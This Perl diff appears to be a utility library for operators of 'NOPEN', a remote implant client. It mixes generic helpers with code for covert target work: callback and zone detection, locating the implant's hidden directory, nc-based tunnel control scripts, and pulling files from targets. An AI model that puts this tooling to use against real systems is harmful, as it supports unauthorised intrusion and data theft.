+ $targetppid > 1 + ) { +# if(1) { +#ENDDBGONLY + my ($output,$nopenlines,@output) = + doit("=ps >L:$opdown/ps.$nopen_rhostname") + unless (-s "$opdown/ps.$nopen_rhostname"); + unless (@output) { + if (open(PARSEIN,"$opdown/ps.$nopen_rhostname")) { + while () { + chomp; + push(@output,$_); + } + close(PARSEIN); + } + } + my @initlines = grep m,/init, , @output; + @initlines = grep m, init$, , @output + unless @initlines; + @initlines = grep m,init$, , @output + unless @initlines; + @initlines = grep m, init, , @output + unless @initlines; + @initlines = grep m,init, , @output + unless @initlines; + newhostvar("host_solariszone",0); + foreach my $line (@initlines) { + my ($myinitpid,$initppid) = /\s(\d+)\s+(\d+)\s/; + #TODO: Is this buggy? Is it init's pid we mean not ppid? + # If NOPEN ppid and init's ppid are same, we are zone and + # here we FORCE $targetppid to 1. + if ($myinitpid == $targetppid) { + newhostvar("host_solariszone",$myinitpid); + newhostvar("host_initpid",$myinitpid); + $initpid = $host_initpid; + my $more = "\n\n". + "Continuing in 10 seconds....\n\n" + unless (-f "$optmp/.initnot1warned.$nopen_rhostname"); + + progprint($COLOR_FAILURE. + "\n\n". + "We are in a Solaris ZONE with our parent pid ($targetppid) greater\n". + "than one, and yet that pid is also the parent of init:\n". + $line."\n\n". + "So we must be a callback. sub parsestatus() is REPLACING\n". + "\$targetppid (NOPEN's parent PID) with 1, as that is what\n". + "init normally looks like in callback mode and it will avoid\n". + "errors elsewhere.". + $more + ); + sleep 10 unless (-f "$optmp/.initnot1warned.$nopen_rhostname"); + copy("$opdown/ps.$nopen_rhostname","$optmp/.initnot1warned.$nopen_rhostname"); + $targetppid = 1; + last; + } + } + } + $remotesection++ if (/^Remote$/); + next unless $remotesection; + } + # KNOWN: 7500 broke getcdrhits, going smaller + $nopenmaxcommandlength = 7500 + if ($clientver and + $serverver and + $clientver eq $serverver and + !$solaristarget and + int (10 * substr($clientver,0,3)) > 30); + + return ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome, + $localpid,$localppid,$serverver,$wdir,$targetos, + $targetcwd,$targetpid,$targetppid,$targetport,$localport) + +} +#parsestatus + +sub timestamp { + my ($short) = (@_); + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime(); + $year+=1900; + $mon++; + return sprintf("%4d%02d%02d-%02d%02d%02d", + $year,$mon,$mday,$hr,$min,$sec) + if $short; + return sprintf("%4d-%02d-%02d %02d:%02d:%02d GMT", + $year,$mon,$mday,$hr,$min,$sec); +} +sub epochseconds { + #dbg("Inside epochseconds(@_)"); + local ($line) = (@_); + chomp($line); + chomp(my $thisyear = `date -u +%Y`); + $time=time; + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + localtime($time); + my $time2=Time::Local::timegm($sec,$min,$hr,$mday,$mon,$year); + my $diff = $time-$time2; + if ($line =~ /^\d+$/ ) { + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime($line); + + my $monstr = $mons[$mon]; + my $tz="TZ=UTC"; + chomp(my $newway=`$tz date -ud "$monstr $mday $hr:$min$sec $year" +%s`); + #dbg("epochseconds/if returning ($newway,$monstr,$mday,$hr,$min,$year)"); + return ($newway,$monstr,$mday,$hr,$min,$year) ; + } elsif (($monstr,$mday,$hr,$min,$sec,$year) = $line =~ + /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+)(:\d+){0,1}\s*(\d+){0,1}/) { + + chomp(my $tz = `grep "^Box Time Zone:" $opdown/hostinfo.$nopen_rhostname 2>/dev/null`); + $tz =~ s/.*:\s+//g; + if (!$tz) { + ($tz) = $line =~ /:\d\d\s+(\S+)(\s|$)/ ; + # autochecklast input has "pts/#" where this thought TZ was, + # hence the second match on pts/. + my ($partz) = $tz =~ m,.*/[^/]+$,; + $tz = "" if ($tz =~ /^[\d:]+$/ or + length $tz < 2 or + $tz =~ /pts\// or + !$validtimezone{$partz}); + } + my $TZ = "TZ=$tz" if $tz; + if ($year and $year < 100) { + $year = 100*substr($thisyear,0,2) + $year; + # See perldoc Time::Local, which mentions + # this floating century idea. + $year -= 100 + unless (($thisyear - 50) <= $year and ($thisyear + 50) > $year); + } + my $cmd = "$TZ date -d \"$monstr $mday $hr:$min$sec $tz $year\" +%s"; + #dbg("Setting: my $cmd = \"$TZ date -d \\\"$monstr $mday $hr:$min$sec $tz $year\\\" +%s\";"); + #dbg("Setting: my \$cmd = \"\$TZ date -d \\\"\$monstr \$mday \$hr:\$min\$sec \$tz \$year\\\" +%s\";"); + my $cmd = "$TZ date -d \"$monstr $mday $hr:$min$sec $tz $year\" +%s"; + #dbg("line=$line\ncmd=$cmd"); + chomp(my $newway=`$cmd`); + #dbg("cmd=$cmd"); + #dbg(" ($monstr,$mday,$hr,$min,$year) nw=$newway"); + # ($sec) = $sec =~ /(\d+)/; + # $sec = int($sec); + # $mon=$nummon{$monstr}; + # # $year of 2038 or bigger is buggy--gives times around 1910 + # $year = $thisyear unless ($year and $year < 2038); + # ($mday,$hr,$min,$sec) = padto(2,$mday,$hr,$min,$sec); + # my $kludge=0; + # # huh? Sending timegm 1400 returns time of 1300? + # # This was in June--this a DST thing? + # $kludge=1; + # return ($diff+Time::Local::timegm_nocheck($sec,$min,$hr+$kludge,$mday,$mon,$year),$monstr,$mday,$hr,$min,$year,$newway,$diff) ; + #dbg("$newway ($monstr,$mday,$hr,$min,$sec,$year)"); + #dbg("epochseconds/elsif returning ($newway,$monstr,$mday,$hr,$min,$year)"); + return ($newway,$monstr,$mday,$hr,$min,$year) ; + } else { + #dbg("epochseconds returning 0"); + return 0; + } +} #epochseconds +sub strtoseconds { + # converts "[#d][#h][#m]#s" format into epoch seconds + ($_) = (@_); + s/\s//; + chomp; + return -1 unless /^[-\ddhms\s]+$/; + return -1 if (/d.*d/ or /h.*h/ or /m.*m/ or /s.*m/ or /-.*-/); + return -1 if (/-/ and !/^-/); + return $_ unless /[dhms]/; + my $sign=1; + $sign=-1 if /^-/; + my ($d) = /(\d+)\s*d/; + my ($h) = /(\d+)\s*h/; + my ($m) = /(\d+)\s*m/; + my ($s) = /(\d+)\s*s/; + $d *= 60*60*24; + $h *= 60*60; + $m *= 60; + return $sign*(int($d) + int($m) + int($h) + int($s)); +} #strtoseconds + +sub secstostr { + # given seconds returns string in form "[#d][#h][#m]#s" + my ($secs) = (@_); + my $sign = $secs < 0 ? -1 : 1 ; + $secs=abs(int($secs)); + my $d = int($secs/(24*60*60)); + $secs -= $d * (24*60*60); + my $h = int($secs/(60*60)); + $secs -= $h * (60*60); + my $m = int($secs/(60)); + $secs -= $m * (60); + my $s = $secs; + $d = $d ? "${d}d " : ""; + $h = $h ? "${h}h " : ""; + $m = $m ? "${m}m " : ""; + $s = $s ? "${s}s " : ""; + my $val = "$d$h$m$s"; + $val =~ s/\s*$//; + $val =~ s/ 0s\s*$//; + return $val; +} #secstostr + +sub countdowntimer { + my ($delaystr,$abortfile) = (@_); + my $delaysecs = strtoseconds($delaystr); + return -1 if $delaysecs < 0; + while ($delaysecs--) { + print STDERR "\rTime left:\t".secstostr($delaysecs)." " ; + sleep 1; + if ($abortfile and -e $abortfile) { + $delaysecs=0; + print STDERR "\n\n".timestamp()." Delay truncated (found $abortfile)"; + unlink($abortfile); + } + } + print STDERR "\n"; +} #countdowntimer + + +sub freeport { + # returns first unused port starting at $_[0] + my ($port) = (@_); + $port++ while (`netstat -an | grep $port | egrep "LISTEN|ESTABLISHED" 2>&1`) ; + return $port; +} #freeport + +sub pilotstart { + #dbg("In pilotstart(@_) with pilotstarted=$pilotstarted"); + # OK. Let's proceed. Connect to $NOPEN_AUTOPORT, close out + # outputs, fork and exit. Child stays connected to $socket and + # returns $socket fp. + my $quiet = 0; + if ($_[0] =~ /quiet/i) { + $quiet = shift(@_); + } + # In newer autoutils we check if client is too old for us + # if (!$nopen_autoport or (verval($nopen_clientver))[1] < (verval("3.0.3.2"))[1]) { + # my $nogsfile = "$opetc/nopen_auto.$nopen_mypid" ; + # unlink("$nogsfile.$ext"); + # if (open (NOPENOUT,"> $nogsfile.$ext")) { + # print NOPENOUT "#NOGS\n-gs scriptcheck quiet -nohist\n"; + # close(NOPENOUT); + # rename("$nogsfile.$ext","$nogsfile"); + # progprint("\n\n\n\nTry again--proper autoutils will now be put in place\n\n"); + # sleep 5; + # mydie(); + # } + # } + mydie("Cannot use NOPEN_AUTOPORT...is this an old version (older than 3.0.4*) of noclient?") + unless $nopen_autoport; + progprint("Closing stdout/stderr. Future output via popups or -lsh echos") unless $quiet; + open(OLDERR, ">&STDERR"); # save stderr + close(STDOUT); + close(STDERR); + # set this global--now print functions know to use -lsh echo for output + $nostdout=1; + # Now connect to this client's autoport + my $count=0; + while (1) { + use IO::Socket ; + $count++; + $socket = IO::Socket::INET->new("127.0.0.1:$nopen_autoport") + and last; + sleep 1 ; + mydie("Cannot open socket to 127.0.0.1:$nopen_autoport (NOPEN_AUTOPORT)") + if ($count > 5) ; + } + #dbg("in pilotstart with pilotstarted=$pilotstarted"); + print $socket "#NOGS\n" unless $pilotstarted; + $pilotstarted=1; + if (my $kidpid = fork()) { + close($socket); + exit; + } + progprint("Connected to autoport 127.0.0.1:$nopen_autoport",$COLOR_FAILURE) unless $quiet; + + # This makes sure we find our hidden directory first thing + if (!$host_hiddendir) { + my ($hdir,$shdir,@lsoutput) = + gethiddendir(); + } + + return $socket; +} #pilotstart + +sub ipcheck { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + # but you can disallow 0 or 255 by putting as the first one or two elements in + # @_ "no0" or "no255" or both. + my $maxval=255; + my $minval=0; + while ($_[$#_] =~ /^no(0|255)$/) { + if ($_[$#_] =~ /no255/) { + pop(@_); + $maxval=254; + } + if ($_[$#_] =~ /no0/) { + pop(@_); + $minval=1; + } + } + local($ipstr,$minoctets,$maxoctets) = @_; + $minoctets=abs(int($minoctets)) if defined $minoctets; + $maxoctets=abs(int($maxoctets)) if defined $maxoctets; + unless($minoctets) { + $minoctets=4 ; + } + unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) { + $maxoctets=4; + } + # strip trailing "." if partial IPs allowed + $ipstr =~ s/\.$// if ($maxoctets < 4) ; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if (@octets < $minoctets or @octets > $maxoctets); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >$maxval) + return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval); + # next line allows partial IPs ending in ".", ignore last + return 0 if ($minoctets == 4 and $_ eq ""); + } + return 1; +} #ipcheck + +sub padto { + # Pads numbers in @nums with leading 0's to make each (at least) $size digits + local($size,@nums) = @_; + for ($i = 0 ; $i < @nums ; $i++) { + $nums[$i] = sprintf("%0${size}d",$nums[$i]); + } + return @nums; +} #padto + +sub filepopup { + my $gotoend = ""; + if ($_[$#_] =~ /gotoend/) { + $gotoend = " +"; + pop(@_); + } + local ($file,$xargs,$noage) = (@_); + my $title = ""; + unless (-e $file or ! $nopen_rhostname) { + $file = "$opdown/$nopen_rhostname/$file"; + } + $file =~ s,/+,/,g; + if (-e $file) { + my $pid = fork(); + return $pid if $pid; + close($socket) if (defined $socket); + $xargs = "-geometry 88x58 -bg white -fg blue" unless $xargs; + $xargs .= " -geometry 88x58" unless ($xargs =~ /-g/); + my $age = 24 * -M $file ; + my $min = ($age - int($age)) * 60; + $age = sprintf("%dh%dm",int($age),$min); + $age =~ s/^0h//; + unless ($xargs =~ /-title/) { + $title=$file; + if ($title =~ $nopen_rhostname) { + $title =~ s/.*$nopen_rhostname/$nopen_hostonly:/; + } + if ($noage) { + $title = "-title \"$title\""; + } else { + $title = "-title \"$age:$title\""; + } + } + exec("xterm $title $xargs -e view$gotoend $file") ; + # } else { + # progprint($file); + # close($socket) if (defined $socket); + # exit; + } +} #filepopup + +sub testrun { + local (@progs) = (@_); + my $warnings=""; + unless ($testrun{"firstrundone"}) { + mydie("Cannot use testrun() unless \$socket is open") + unless defined $socket; + $testrun{"firstrundone"}++; + if (open(U_IN,"< $optmp/testrun.$nopen_rhostname")) { + while () { + chomp; + $testrun{$_}++; + } + close(U_IN); + } + } + foreach $prog (@progs) { + next if $testrun{$prog}; + ($output) = doit($prog); + if ($output =~ /no such file/i) { + $warnings.="\n\t\tFATAL: $prog not in path"; + next; + } + $testrun{$prog}++; + if (open(U_IN,">> $optmp/testrun.$nopen_rhostname")) { + print U_IN "$prog\n"; + close(U_IN); + } + } + return $warnings; +} #testruns + +sub myrand { + # generate a random integer + # NOTE: Small chance of never returning--if every port in the range is excluded. + # NOTE: Don't do that. + local ($mymin,$mymax,$excludestring) = (@_); + local $tmp; + $mymin or $mymin=10025 ; + $mymax or $mymax=65534 ; + my @excludethese = @excludeports; + my ($portstart,$portstop) = ($excludestring,$excludestring); +#warn "STARTING: portstart=$portstart= portstop=$portstop= : \n"; +#mydie( "excludeportstring=$excludeportstring= opt_x=$opt_x= excludestring=$excludestring= STARTING: portstart=$portstart= portstop=$portstop= : \n"); + foreach my $portarg (split(/,+/,$excludestring)) { + if ($portarg =~ /-*-/) { + mydie("-x argument must be a list of ports or port ranges: -x $opt_x") + if ($prog =~ /ourtn/); + # Otherwise, silently ignore this bad argument + next; + } else { + ($portstart,$portstop) = $portarg =~ /(\d+)-(\d+)/; + if ($portstart > $portstop) { + my $tmp = $portstart; + $portstart = $portstop; + $portstop = $tmp; + } + } + for (my $i = $portstart; $i <= $portstop; $i++) { + $excludethese[$i] = 1; + } + } + + return 0 if ($mymax == $mymin and $excludethese[$mymin]); + while (1) { + $tmp=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp+=int(rand($mymax - $mymin + 1)); + $tmp %= ($mymax - $mymin + 1); + last unless $excludethese[$tmp+$mymin]; +#warn "portstart=$portstart= portstop=$portstop= SKIPPED: ".$tmp+$mywin; + } + return $tmp + $mymin; +} +#myrand + +sub scriptordie { + local ($donotdie) = (@_); + my $ppid = getppid(); + my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ; + my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ; + my $scriptordie = `scriptcheck 2>/dev/null` ; + $scriptordie = `ps -ef | grep $pppid | egrep -v "perl|grep" | egrep "scripme.pl|script.*script" | tail -1` + unless $scriptordie; + unless ($scriptordie) { + my $processes = `pschain $$ 2>/dev/null`; + $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` unless $processes; + unless ($scriptoverride) { + if ($donotdie) { + progprint("\n\n\n\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/script\" and does not:$COLOR_NOTE\n$processes$COLOR_NORMAL\n"); + } else { + mydie("\n\n\n\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/script\" and does not:$COLOR_NOTE\n$processes$COLOR_NORMAL\n"); + } + } else { + progprint("WARNING: Overriding requirement for \"script -af\" in this window. + + That is there to protect you. If you continue unscripted, it's your problem. + $prog will proceed in 10 seconds. Just wait. +",$COLOR_FAILURE); + sleep 10 unless ($opt_o) ; + } + return ""; + } else { + $scriptordie =~ s/.*script/script/ ; + chomp($scriptordie); + progprint("Confirmed this window is scripted ($scriptordie)"); + return $scriptordie; + } +} #scriptordie + +sub maketunnelscripts { + return if (-s "$opbin/closetunnel"); + if (open(OUT2,"> $opbin/closetunnel")) { + print OUT2 <<"EOF"; +#!/bin/sh +[ "\$PORT" ] || PORT=\$1 +[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\` +[ "\$PORT" ] || PORT=18787 +echo 'echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1' \$PORT +echo 'echo "q" | nc -w1 -u 127.0.0.1' \$PORT +echo "c 1 2 3 4 5 6 7" | nc -w1 -u 127.0.0.1 \$PORT +echo "q" | nc -w1 -u 127.0.0.1 \$PORT +echo "q" | nc -w1 -u 127.0.0.1 \$PORT +EOF + + } + close(OUT2) ; + if (open(OUT2,"> $opbin/stattunnel")) { + print OUT2 <<"EOF"; +#!/bin/sh +[ "\$PORT" ] || PORT=\$1 +[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\` +[ "\$PORT" ] || PORT=18787 +echo 'echo "s" | nc -w1 -u 127.0.0.1' \$PORT +echo "s" | nc -w1 -u 127.0.0.1 \$PORT +EOF + } + close(OUT2) ; + if (open(OUT2,"> $opbin/dotunnel")) { + print OUT2 <<"EOF"; +#!/bin/sh +LINE=\${*} +[ "\$PORT" ] || PORT=\`cat $opbin/.tunnelport\` +[ "\$PORT" ] || PORT=18787 +if [ "\$LINE" ] ; then + echo echo \"\$LINE\" '| nc -w1 -u 127.0.0.1' \$PORT + echo "\$LINE" | nc -w1 -u 127.0.0.1 \$PORT +else + echo 'echo "s" | nc -w1 -u 127.0.0.1' \$PORT + echo "s" | nc -w1 -u 127.0.0.1 \$PORT +fi +EOF + } + close(OUT2) ; + `chmod 755 $opbin/*tunnel 2>/dev/null` ; +}#maketunnelscripts + +sub ispinfo { + local ($ispfile) = (@_); + $ispfile = "/tmp/isp_info" unless $ispfile; + my ($ispcitystate,$ispphone,$ispname) = ("unknown,UN","911","unknown"); + if (open(TMPIN,"$ispfile")) { + chomp($ispname = ); + $ispname =~ s/,/\./g; + chomp($ispcitystate = ); + unless ($ispcitystate =~ /,\s*[A-Z]{2}\s*$/) { + chomp(my $ispstate = ); + $ispcitystate .= " $ispstate"; + } + $ispcitystate =~ s/,//g; + chomp($ispphone = ); + $ispphone =~ s/,//g; + close(TMPIN); + } else { + mywarn("Cannot open $ispinfo: $!"); + } + return ($ispcitystate,$ispphone,$ispname); +}#ispinfo + +sub verval { + local($verstr) = @_ ; + local(@tmp,$vernum); + # We take the first thing we find that looks like N.N.N..... + ($verstr) = $verstr =~ /([\d\.]+)/; + # We force it to have four "octets" + $verstr .= ".0" until $verstr =~ /\d+\.\d+\.\d+\.\d+/; + # process ver string with multiple dots (no one rev greater than 999 please) + # First two numbers are before decimal, the rest after + @tmp = split (/\./, $verstr); + $vernum = shift(@tmp) + 1000 ; + my $frac = -1 ; + while (@tmp) { + $frac++ ; + if ($frac > 0) { + $vernum = $vernum + (shift(@tmp)/(1000**$frac)); + } else { + $vernum = 1000 * $vernum + shift(@tmp); + } + } + return () unless $verstr ; + return ($verstr,$vernum) ; +}#verval + +sub preservefile { +# dbg("Inside preservefile(@_)"); + local (@files) = (@_); + my $loud = pop(@files) if ($files[$#files] eq "LOUD"); + my @retarr = (); + foreach my $file (@files) { + if (-e $file) { + my $ext = "0000"; + $ext++ while (-e "${file}_$ext"); + progprint("${COLOR_NOTE}$file: File exists, renaming to ${file}_$ext") + if $loud; + rename($file,"${file}_$ext"); + push(@retarr,"${file}_$ext"); + } + } + return @retarr; +} + +# This was going to be used by nopenlss() could not get +# it to work right took it out +sub sortoncol { + local ($col,$function,@array); + # Sort the @array on column $col (zero-based) + # using $function for the sort. + # We strip \n if there, then add \n, so + # original @array can have them or not, either way. + my (%lines,$returnval)=(); + foreach (@array) { + chomp; + my $tmp = $_; + $tmp =~ s/^\s+//; + my $index = (split(/\s+/,$tmp))[$col]; + $lines{$index} .= $_."\n"; +#dbg("sortoncol col=$col= function=$function index=$index\n$_"); + } + foreach my $i (sort by_num keys %lines) { + $returnval .= $lines{$i}; + } + return $returnval; +} + +sub fileage { + # Returns the epoch age of the file, 0 if no such file + local ($file) = (@_); + return 0 unless (-f $file); + return (stat($file))[9]; +} +#fileage + +sub by_num { + return ($a <=> $b); +} +#by_num + +sub by_rand { + return (rand(50) <=> rand(50)); +} +#by_rand + +sub by_file_date { + return 0 unless (-e ($a) and -e ($b)); + return (fileage($a) <=> fileage($b)); + return ((stat($a))[9] <=> (stat($b))[9]); +} + +sub by_path_depth { + # Default is return deepest paths first + my ($tmpa,$tmpb) = ($a,$b); + # Trim non / characters and trailing / + $tmpa =~ s,/+,/,g; + $tmpa =~ s,/+$,,; + $tmpa =~ s,[^/],,g; # Just "/" becomes "" but "/etc" becomes "/" + # Trim non / characters and trailing / + $tmpb =~ s,/+,/,g; + $tmpb =~ s,/+$,,; + $tmpb =~ s,[^/],,g; # Just "/" becomes "" but "/etc" becomes "/" + + return (length($tmpb) <=> length($tmpa)); +} + +sub by_path_depth_with_times { + # Default is return deepest paths first + my ($tmpa,$tmpb) = ($a,$b); + # First remove times and stoicctrl command + $tmpa =~ s, \d+ \d+ \d+ \d+ \d+ \d+ \d+ \d+$,,; + $tmpa =~ s, \d+ \d+ \d+ \d+ \d+ \d+$,,; + $tmpa =~ s,^-gs stoicctrl .* /,/,; + $tmpb =~ s, \d+ \d+ \d+ \d+ \d+ \d+ \d+ \d+$,,; + $tmpb =~ s, \d+ \d+ \d+ \d+ \d+ \d+$,,; + $tmpb =~ s,^-gs stoicctrl .* /,/,; + + # Trim non / characters and trailing / + $tmpa =~ s,/+,/,g; + $tmpa =~ s,/+$,,; + $tmpa =~ s,[^/],,g; # Just "/" becomes "" but "/etc" becomes "/" + # Trim non / characters and trailing / + $tmpb =~ s,/+,/,g; + $tmpb =~ s,/+$,,; + $tmpb =~ s,[^/],,g; # Just "/" becomes "" but "/etc" becomes "/" + + return (length($tmpb) <=> length($tmpa)); +} + +sub showprogress { + local ($count,$max,$linemax) = (@_); + my $howmany; + $linemax = int($linemax); + $linemax=65 unless $linemax > 0; + my $result = ""; + if (!$count and !$max) { + $globalprogresscount=0; + my $spaces = " " x $linemax ; + print "\n\n|$spaces|100%\r"; + print "\n\n|$spaces|100%\r"; + return; + } + if ($count < 0) { + while ($linemax >= $globalprogresscount) { + print "*"; + $globalprogresscount++; + } + print "\n\n"; + return; + } + $howmany = int($linemax * ($count/$max)); +#warn("sp($count,$max) hm=$howmany gpc=$globalprogresscount\n"); + + while ($howmany >= $globalprogresscount) { + print "*"; + $globalprogresscount++; + } +}#showprogress + +sub maxof { + # works only for positive only lists + local (@arr) = (@_); + my $max=0; + foreach (@arr) { + $max = $_ if $_ > $max; + } + return $max; +}#maxof + +sub minof { + # works only for positive only lists + local (@arr) = (@_); + my $min=undef; + foreach (@arr) { + $min = $_ if (! defined $min or $_ < $min); + } + return $min; +}#maxof + +sub waitonlocalport { + local ($port,$timeout) = (@_); + my $test = ""; + while ($timeout-- > 0) { + $test = `netstat -antp | grep $port | egrep "LISTEN(\$| )"`; + last if ($test); + sleep 1; + } + return $test; +} + +sub offerabort { + my ($prompt,@more) = (@_); + my $nl = "\n\n"; + # Just one newline if prompt ends in a comma + $nl = " " if $prompt =~ /, *$/; + if ($more[0] eq "N") { + $prompt.= " (you can also bort)"; + push(@more,"A"); + } else { + $prompt.= "$nlontinue or bort."; + push(@more,"C","A"); + } + #dbg("Calling mygetinput($prompt,@more);"); +#dbg("we goot defined \&mymydie=&mymydie=".scalar defined &mymydie); + + my ($abort,$abortlong) = mygetinput($prompt,@more); +# if ($abort =~ /^a/i and lc $abort ne "always") { + if ($abort eq "a") { + mymydie("Aborted by user via mymydie()") if (defined &mymydie); + mydie("Aborted by user"); + } + return ($abort,$abortlong); +}#offerabort() + +sub uniqify_array { + local (@arr) = (@_); + my @returnval=(); + my %alreadygot=(); + foreach my $element (@arr) { + my $safestr = safestr($element); + chomp(my $sum = `echo "$safestr" | cksum`); + #dbg("sum=$sum=element=$element= safestr=$safestr="); + next if $alreadygot{$sum}++; + push(@returnval,$element); + #dbg("uniqify_array pushed sum=$sum:$element:"); + } + return @returnval; +}#uniqify_array() + +sub opproject { + # Set new project name if given or if not yet set. + # Return project name. + + local ($newname) = (@_); + # Silently drop invalid characters + $newname =~ s,[^A-Z0-9_],,g; + # Silently ignore empty nonvalid arguments. + if ($newname) { + $newname = uc $newname; + newhostvar("gbl_genthreeopname",$newname, + "gbl_opproject",lc $newname, + "gbl_project",lc $newname, + ); + writefile("/tmp/opname.txt.mod",$newname); + } else { + my $opnamefile = "/mnt/hgfs/host/opname.txt"; + $opnamefile = "/tmp/opname.txt.mod" if (-s "/tmp/opname.txt.mod"); + $newname = uc readfile($opnamefile); + $newname =~ s,[^A-Z0-9_],,g; + unless($gbl_genthreeopname and $gbl_opproject and $gbl_project) { + newhostvar("gbl_genthreeopname",$newname, + "gbl_opproject",lc $newname, + "gbl_project",lc $newname, + ); + } + } + return $newname; +} +#opproject + +sub opuser { + # This sets $gbl_opuser, $gbl_oppasswd and $gbl_opschedule globals via newhostvar(), + # prompting for them if their files are not yet populated. With + # any argument, that argument preceeds the usual prompt and + # the user is forced to answer even if the files have content. + # Note that $forceprompt can be just a space, but setting it + # to a tab (\t) lines up better. + local ($forceprompt,$nopasswd,$thisuser,$clearpasswd) = (@_); + my $noprompt = $forceprompt < 0; + if ($forceprompt eq "CLEAR") { + shift(@_); + $forceprompt = 0; + $clearpasswd = 1; + } + $forceprompt = 0 if $noprompt; + + my ($fileuserid,$fileuserpw) = (); +#OLDWAY: +# do "$opdown/opuser" if (-s "$opdown/opuser"); +# unless ($nopasswd) { +# do "$optmp/oppasswd" if (-s "$optmp/oppasswd"); +# } + # The $op* globals set at top of autoutils. + my $userid = $gbl_opuser; + $userid = $thisuser unless $userid; + my $scheduleid = $gbl_opschedule; + my $userpw = $gbl_oppasswd; + if (!$noprompt and (!$userid or $forceprompt)) { + my $extra=""; + $forceprompt = "\t" unless @_; + while (1) { + ($u,$userid) = mygetinput + ("$extra${forceprompt}Enter your Op UserID (exactly five digits):",$userid); + last if $userid =~ /^\d{5}$/; + $extra = "${COLOR_FAILURE}You must enter exactly five digits.\n". + "(use 11111 if you do not have one)\n". + "\n$COLOR_NORMAL\n"; + $userid = $fileuserid; + } + # Reset this now as we may have put a tab in there + ($forceprompt) = (@_); + } + $filescheduleid = "UNKNOWN" unless $filescheduleid; + if (!$noprompt and (!$scheduleid or $forceprompt)) { + my $extra=""; + $forceprompt = "\t" unless @_; + $scheduleid = "UNKNOWN" unless $scheduleid; + while (1) { + my $force=0; + my $forced = ""; + ($u,$scheduleid) = mygetinput + ("$extra${forceprompt}Enter your Op Schedule ID if known\n". + "(14 digits, must start with YYMM):",$scheduleid); + $scheduleid =~ s,-,,g; + $extra = ""; + # Until this is enforced, allow "UNKNOWN" also + last if $scheduleid eq "UNKNOWN"; + if ($scheduleid =~ /^\d+$/) { + if ($scheduleid =~ + /^\d\d(01|02|03|04|05|06|07|08|09|10|11|12)\d{10}$/) { + last; + } else { + $forced = $scheduleid unless $forced; + $extra .= "${COLOR_FAILURE}". + "You entered an invalid scheudle ID. It must be 14 digits and\n". + "start with YYMM (2-digit year month).\n"; + $extra .= + "(answer the same thing three times to override and bypass this error)\n\n"; + unless ($forced eq $scheduleid) { + $force = 0; + $forced = ""; + } else { + last if ($force++ > 2); + } + $forced = $scheduleid; + } + } + last if ($scheduleid =~ /^\d+$/ or $scheduleid eq "UNKNOWN"); + $extra = "${COLOR_FAILURE}You must enter only digits (dashes optional).\n$COLOR_NORMAL\n"; + $scheduleid = $filescheduleid; + } + # Reset this now as we may have put a tab in there + ($forceprompt) = (@_); + } + unless ($nopasswd or $clearpasswd) { + if (!$userpw or $forceprompt) { + $forceprompt = "\t" unless @_; + my $extra=""; + while (1) { + ($u,$userpw) = mygetinput + ("${extra}${forceprompt}Enter password for UserID $gbl_opuser:","","-T"); + last if $userpw; + $extra = "${COLOR_FAILURE}You must enter something.\n$COLOR_NORMAL\n"; + } + } + } + # ASSERT: The new userid and userpw values are to be set in $hostvarfile + # now, clobbering any old values. +dbg("in opuser(@_) with opuser=$gbl_opuser oppasswd=$gbl_oppasswd opschedule=$gbl_opschedule"); + $userpw = "xxxxxx" if ($clearpasswd); + newhostvar("opuser",$userid, + "opschedule",$scheduleid, + "oppasswd",$userpw, + "gbl_opuser",$userid, + "gbl_opschedule",$scheduleid, + "gbl_oppasswd",$userpw); +#OLDWAY: +# ($gbl_opuser,$gbl_oppasswd) = ($userid,$userpw); +# if ($userid ne $fileuserid and open(USEROUT,">$opdown/opuser")) { +# print USEROUT "\$gbl_opuser = \"$userid\";\n"; +# } +# close(USEROUT); +# if (!$nopasswd and $userpw ne $fileuserpw and open(USEROUT,">$optmp/oppasswd")) { +# print USEROUT "\$gbl_oppasswd = \"$userpw\";\n"; +# } +# close(USEROUT); + # Returning these, but globals already set in newhostvar. + return ($gbl_opuser,$gbl_oppasswd,$gbl_opschedule); +} +#opuser + +sub nopengetfiles { + # Default to quiet -gets "-q" unless $options contains -LOUD. + # If $options contains SIZEMAX=##, then we first do -ls -R + # (RECURSES through all arguments, files or directories) + # on the arguments to determine if they are files and of size + # at most ##. + # + # If $options contains ONEPERLINE, do not combine -gets on same line. + # + # If $options contains TAILLINES=##, then we get the tail ## + # lines of each file. (NOT IMPLEMENTED YET MAY NOT IF TAILBYTES IS GOOD ENOUGH) + # + # If $options contains TAILBYTES, then we get the tail $maxsize + # bytes of each file with -oget. Ignored if $maxsize not set. + # + # If $options contains MAXDOWNLOAD=##[.##], then that is our + # cap, in megabytes, at which we stop pulling. + # + # If $options contains GETZERO=1 then files of size + # zero will be retrieved. Default is to skip size 0. + # + # Now pushes any pulled files into @nopengotfiles, but only + # if it is NOT empty. Use a dummy entry to turn on this feature. + # Multiple calls to nopengetfiles() can continue to grow + # @nopengotfiles. + # + local ($options,@list) = (@_); + my ($getpreservetime, + $getempty,$checkzero,$newoptions,$checksize,$maxsize,$minsize, + $maxdownload,$secondtime,@newlist,$popup,$taillines,$tailbytes, + 